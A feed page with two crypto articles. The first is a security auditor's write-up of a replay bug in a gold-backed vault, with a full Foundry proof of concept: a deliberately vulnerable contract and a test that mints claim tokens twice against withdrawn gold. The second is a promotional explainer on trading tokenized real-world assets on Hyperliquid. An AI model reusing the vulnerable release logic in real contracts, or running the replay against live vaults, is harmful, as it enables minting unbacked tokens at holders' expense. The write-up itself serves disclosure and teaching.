Reading view

There are new articles available, click to refresh the page.

Quill Findings: Eligibility Replay in Tokenized Assets

This is one of the vulnerability our auditors had found during a client engagement. We’re sharing it here, because walking through a real bug is one of the best ways to learn what to watch for when you’re building or reviewing something similar. This is the first in a series where we’ll be doing that with some of the more interesting things we catch during audits.

The protocol in this case is a gold-backed vault. Customers send in physical gold bars, and in return, the protocol gives them a claim token that represents that gold on-chain. Behind the scenes, each bar is tracked with an NFT, called a certificate, that proves the vault is holding that specific bar. We found a way for a customer to take their real gold out of the vault, and then trick the system into minting them a second batch of claim tokens for gold that had already left.

How the vault works

Every physical gold bar is represented by one certificate NFT. When a new bar arrives, the protocol’s certifier verifies it, and the vault mints a fresh certificate. That certificate stays with the vault, not the customer, as proof the bar is inside, and the vault mints a claim token against it, the customer’s on-chain claim to that gold. A customer can also hand in a certificate they already hold to mint more claim tokens against it, as long as the vault is actually holding the matching bar.

When a customer wants their gold back, they burn their claim tokens and the vault releases the bar. At that point the certificate is supposed to be worthless. Its only job was proving the vault held that specific bar, and once the bar is out, that’s no longer true.

What went wrong

The vault doesn’t destroy the certificate on release. It just hands it straight back to the customer, still perfectly valid.

So the customer walks away holding two things: the gold bar, and a certificate that still tells the vault this bar is safely inside. Nothing stops them from walking back in, handing that certificate over again, and minting a fresh batch of claim tokens for gold that’s already gone.

The fix already existed in the code. CertificatesNFT.burn destroys a certificate. It can only be called by the vault, and only while the vault holds the certificate, exactly the situation at the moment gold gets released. Nobody called it.

Here’s the function, the one a customer calls once they’ve burned their claim tokens and are ready to walk out with their gold:

certificatePositions[id] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
nft.transferFrom(me, recipient, id);

The position flips to OutsideVault, and the certificate goes straight back into the customer's wallet. Nothing marks it as used.

Why it’s worse than it looks

Getting a genuinely new certificate is hard on purpose: it needs sign-off from the protocol’s certifier, plus a one-time custody reference proving a specific bar arrived. Handing an old certificate back in needs none of that. The vault just checks the certificate says outside the vault and takes its word for it.

It gets worse. Certificates are never destroyed, so a bar’s serial number stays permanently marked as used. If that same bar genuinely comes back through the front door, the vault can’t issue it a clean new certificate, that path is blocked, the serial number is already taken. Reusing the old certificate becomes the only way back in, for a legitimate return or a fraudulent one. What should be a rare, risky shortcut ends up as the default path, since nothing else works anymore.

Proof of concept

We built a small working version of the same mechanics to confirm this isn’t theoretical. It isn’t the original’s code, real vaults carry more logic than this, but it reproduces the exact behavior that matters.

Set up a fresh Foundry project:

mkdir gold-poc && cd gold-poc
forge init --no-git .
forge install OpenZeppelin/openzeppelin-contracts --no-git

remappings.txt:

@openzeppelin/=lib/openzeppelin-contracts/
forge-std/=lib/forge-std/src/

src/VaultTypes.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/// @notice Minimal illustrative reproduction of the position-tracking types
/// referenced in the finding. Not the audited source.
library VaultTypes {
enum CertificateState {
None,
Vaulted,
OutsideVault
}

struct CertificatePosition {
CertificateState state;
uint256 activeRequestId;
}
}

src/CertificatesNFT.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

/// @notice Minimal illustrative reproduction. Represents a custody certificate
/// for one physical gold bar held in the vault. Not the audited source.
contract CertificatesNFT is ERC721 {
address public immutable vault;

modifier onlyVault() {
require(msg.sender == vault, "CertificatesNFT: not vault");
_;
}

constructor(address _vault) ERC721("Gold Custody Certificate", "CERT") {
vault = _vault;
}

function mint(address to, uint256 id) external onlyVault {
_mint(to, id);
}

/// @dev Only the vault can burn, and only while the vault itself holds
/// the certificate. This is exactly the situation at the moment physical
/// gold is released, which is the call site this finding is about.
function burn(uint256 id) external onlyVault {
require(ownerOf(id) == vault, "CertificatesNFT: vault must hold certificate");
_burn(id);
}
}

src/ClaimToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/// @notice Minimal illustrative reproduction of the tokenized-gold claim
/// token. Not the audited source, and not the real token name.
contract ClaimToken is ERC20 {
address public immutable vault;

modifier onlyVault() {
require(msg.sender == vault, "ClaimToken: not vault");
_;
}

constructor(address _vault) ERC20("Vault Gold Claim", "CLAIM") {
vault = _vault;
}

function mint(address to, uint256 amount) external onlyVault {
_mint(to, amount);
}

function burnFrom(address from, uint256 amount) external onlyVault {
_burn(from, amount);
}
}

src/GoldVaultVulnerable.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {CertificatesNFT} from "./CertificatesNFT.sol";
import {ClaimToken} from "./ClaimToken.sol";
import {VaultTypes} from "./VaultTypes.sol";

/// @notice Minimal illustrative reproduction of the vault's certificate
/// lifecycle, including the vulnerable release path described in the
/// finding. Not the audited source, trimmed to the mechanics that matter.
contract GoldVaultVulnerable {
CertificatesNFT public immutable certNFT;
ClaimToken public immutable claimToken;
address public immutable certifier;

uint256 public constant CLAIM_PER_BAR = 1_000e18;

mapping(uint256 => VaultTypes.CertificatePosition) public certificatePositions;
mapping(bytes32 => bool) public usedCustodyRefs;
mapping(uint256 => bool) public serialRegistered;

modifier onlyCertifier() {
require(msg.sender == certifier, "GoldVault: not certifier");
_;
}

constructor(address _certifier) {
certifier = _certifier;
certNFT = new CertificatesNFT(address(this));
claimToken = new ClaimToken(address(this));
}

/// @notice Bar arrival. Strongly validated: certifier-gated, and the
/// custody reference proving the bar arrived can only be used once.
function registerNewBar(address to, uint256 certId, uint256 serial, bytes32 custodyRef)
external
onlyCertifier
{
require(!serialRegistered[serial], "GoldVault: serial already registered");
require(!usedCustodyRefs[custodyRef], "GoldVault: custody ref already used");
usedCustodyRefs[custodyRef] = true;
serialRegistered[serial] = true;

certNFT.mint(address(this), certId); // certificate stays with the vault while the bar is inside
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(to, CLAIM_PER_BAR);
}

/// @notice Re-presenting an existing certificate. No certifier check and
/// no custody reference, open to anyone holding a certificate that is
/// currently marked OutsideVault.
function depositCertificate(uint256 certId) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.OutsideVault,
"GoldVault: certificate not outside vault"
);
certNFT.transferFrom(msg.sender, address(this), certId);
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(msg.sender, CLAIM_PER_BAR);
}

/// @notice Physical release. This is the call site the finding is about.
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
"GoldVault: certificate not vaulted"
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);

// --- vulnerable: hands a fully valid certificate back instead of retiring it ---
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
certNFT.transferFrom(address(this), recipient, certId);
}
}

test/GoldSoldTwice.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {GoldVaultVulnerable} from "../src/GoldVaultVulnerable.sol";
import {VaultTypes} from "../src/VaultTypes.sol";
import {CertificatesNFT} from "../src/CertificatesNFT.sol";

contract GoldSoldTwiceTest is Test {
address certifier = makeAddr("certifier");
address customer = makeAddr("customer");

uint256 constant CERT_ID = 1;
uint256 constant SERIAL = 42;
bytes32 constant CUSTODY_REF = keccak256("bar-42-arrival");

function test_ReleasedCertificateCanBeRedepositedForFreshClaim() public {
GoldVaultVulnerable vault = new GoldVaultVulnerable(certifier);

// One physical bar arrives and is registered. This is the strongly
// validated path: certifier-gated, one-time custody reference.
vm.prank(certifier);
vault.registerNewBar(customer, CERT_ID, SERIAL, CUSTODY_REF);
console2.log(
"bar registered, one time only | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);

assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
"customer should hold 1 bar of claim tokens"
);

// Customer redeems: burns claim tokens, takes the physical gold out.
vm.startPrank(customer);
vault.release(CERT_ID, customer);
vm.stopPrank();
console2.log(
"gold released to customer | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);

assertEq(
vault.claimToken().balanceOf(customer),
0,
"claim tokens were burned on release"
);
assertEq(
vault.certNFT().ownerOf(CERT_ID),
customer,
"certificate came back to the customer intact"
);
(VaultTypes.CertificateState state, ) = vault.certificatePositions(
CERT_ID
);
assertEq(
uint8(state),
uint8(VaultTypes.CertificateState.OutsideVault),
"certificate still marked valid"
);

// The gold has left the building. The certificate for it has not
// been touched. Hand it straight back in.
vm.startPrank(customer);
vault.certNFT().approve(address(vault), CERT_ID);
vault.depositCertificate(CERT_ID);
vm.stopPrank();
console2.log(
"same certificate redeposited | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);

// Fresh claim tokens, minted against a bar that is no longer in the vault.
assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
"customer minted a second bar of claim tokens against the same, already-withdrawn gold"
);
}
}

Run it:

forge test --match-contract GoldSoldTwiceTest -vv

Output:


Ran 1 test for test/GoldSoldTwice.t.sol:GoldSoldTwiceTest
[PASS] test_ReleasedCertificateCanBeRedepositedForFreshClaim() (gas: 3884735)
Logs:
bar registered, one time only | claim balance: 1000
gold released to customer | claim balance: 0
same certificate redeposited | claim balance: 1000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (1.81ms CPU time)

Ran 1 test suite in 156.98ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Look at the claim token balance across those log lines. It goes up to 1,000 when the bar is registered, drops to 0 on release, then climbs back to 1,000, just from handing the same certificate back in. One bar of gold. Two batches of claim tokens.

The fix

  certificatePositions[id] =
- VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
- nft.transferFrom(me, recipient, id);
+ VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
+ nft.burn(id);

That’s the entire fix. Burn the certificate instead of returning it. No new checks, no new state, both already existed. The only missing piece was calling burn.

// src/GoldVaultFixed.sol, patched release()
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
"GoldVault: certificate not vaulted"
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);

certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
certNFT.burn(certId);
}

Conclusion

This bug wasn’t flashy, one function handed back something it should have destroyed, and the fix was already sitting in the code, unused. Most real bugs are like that, a small gap between what a system assumes and what’s actually still true.

Originally published at https://www.quillaudits.com.


Quill Findings: Eligibility Replay in Tokenized Assets was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Real-World Assets Are Quietly Taking Over Hyperliquid — Here’s How the Trading Actually Works

Something shifted on Hyperliquid in 2026 that most crypto traders still haven’t fully clocked. It’s not a new token, not a new chain — it’s a category of trading that barely existed twelve months ago and is now the platform’s single biggest source of volume: tokenized real-world assets.

In Q2 2026, RWA perpetual contracts generated $213 billion in trading volume on Hyperliquid, accounting for 32.2% of everything traded on the platform — up from just 1.8% in Q4 2025. For one week in July, RWAs actually overtook every crypto category combined, hitting over half of total weekly volume. If you’re trading crypto perps and haven’t looked at this yet, here’s what’s going on and how it actually works.

Learn more about Hyperliquid, how it works and how to use it below

Understanding Hyperliquid: How On-Chain Perpetual Futures Actually Work

The Mechanism: HIP-3

The entire category exists because of HIP-3, a permissionless market-deployment framework Hyperliquid rolled out in October 2025. Before HIP-3, launching a new market on Hyperliquid required central approval. After HIP-3, any team can stake HYPE tokens and deploy its own perpetual market — competing on liquidity and pricing without asking permission.

That single change is what let tokenized stocks, commodities, and indices show up on Hyperliquid at real scale. The dominant builder right now is Trade.xyz, run by Hyperliquid’s own tokenization arm Hyperunit, which controls something like 91% of total HIP-3 open interest. Deployers like this earn a meaningful cut of the fees generated in their markets — up to 50% in some arrangements — which is the incentive that’s driving so many teams to build RWA markets so fast.

Worth flagging as a trader, not just a spectator: because deployers keep so much of the fee revenue, this RWA boom hasn’t flowed straight through to HYPE token buybacks the way you might assume. Gross protocol revenue and buyback dollars have actually diverged over the past few quarters. Volume growth and token-holder value aren’t the same thing here, and it’s easy to conflate them if you’re only looking at the headline numbers.

What’s Actually Tradeable

The catalog has expanded fast. Right now, HIP-3 RWA markets cover:

  • Individual tokenized stocks — Tesla, Google, and reportedly up to 300 equities and ETFs across sectors like AI, defense, and energy
  • Commodities — gold, silver, platinum, copper, uranium, and crude oil, with WTI and Brent trading as distinct contracts
  • Stock indices
  • Synthetic pre-IPO exposure to notable private companies
  • A smaller, newer bucket of sovereign debt and regional market instruments

Since June 2026, single stocks have pulled ahead of commodities as the largest RWA category, now representing about 61% of all RWA volume. Commodities are close behind, especially oil and silver, which have seen sharp inflows tied to macro and geopolitical volatility — the kind of news that breaks on a Sunday night when traditional markets are shut.

Begin trading RWA on Hyperliquid with a fee reduction via signing up here

How the Trading Mechanics Work

If you’ve traded perps on Hyperliquid before, most of this will feel familiar:

  • Collateral is typically USDC or USDT, same as standard perps
  • These are perpetual contracts — no expiry date, held as long as funding allows
  • Funding rates periodically transfer between longs and shorts to keep the contract price tethered to the real-world asset price
  • Leverage is available, but max leverage and margin requirements vary by the specific deployer-run market
  • Markets trade 24/7, even when the underlying stock exchange or commodity market is closed

That last point is the whole story, honestly. It’s the reason RWA perps exist — positioning on breaking news instantly instead of waiting for Monday’s open — and it’s also the newest kind of risk crypto-native traders haven’t really had to price in before.

The Risk Side Deserves Equal Airtime

A few things worth sitting with before you size a position:

Weekend and after-hours gap risk. The perp trades continuously; the underlying stock or commodity doesn’t. You can be holding a position that gets marked against news the “real” market hasn’t opened to price in yet.

Deployer concentration. A huge share of HIP-3 liquidity sits with one builder. That’s not inherently bad, but it is a single point of failure worth knowing about.

This category is genuinely unproven under stress. Volume comparable to Bitcoin’s is a real number, but nobody’s watched these specific markets behave through a sharp liquidity event yet. Depth and open interest look strong in a calm-to-bullish stretch; that’s a different test than a real drawdown.

None of this is a reason to avoid RWA markets — it’s a reason to size into them the way you’d size into any fast-growing, early-stage product: with respect for how new the infrastructure actually is.

Where It’s Headed

Some industry estimates put RWA trading at up to 75% of Hyperliquid’s total volume by 2027. Circle CEO Jeremy Allaire has described the shift as a genuine structural change in crypto markets — a move away from purely crypto-native speculation toward trading claims on real-world value, entirely on-chain.

Whatever the exact trajectory turns out to be, this isn’t a side experiment anymore. I’ve been tracking Hyperliquid’s product evolution closely, including a deeper walkthrough of the platform’s core perpetuals mechanics if you want the fuller picture before trading RWA markets specifically.

This piece is for informational purposes only and isn’t financial advice. Perpetual futures and crypto trading carry real risk — always DYOR.


Real-World Assets Are Quietly Taking Over Hyperliquid — Here’s How the Trading Actually Works was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌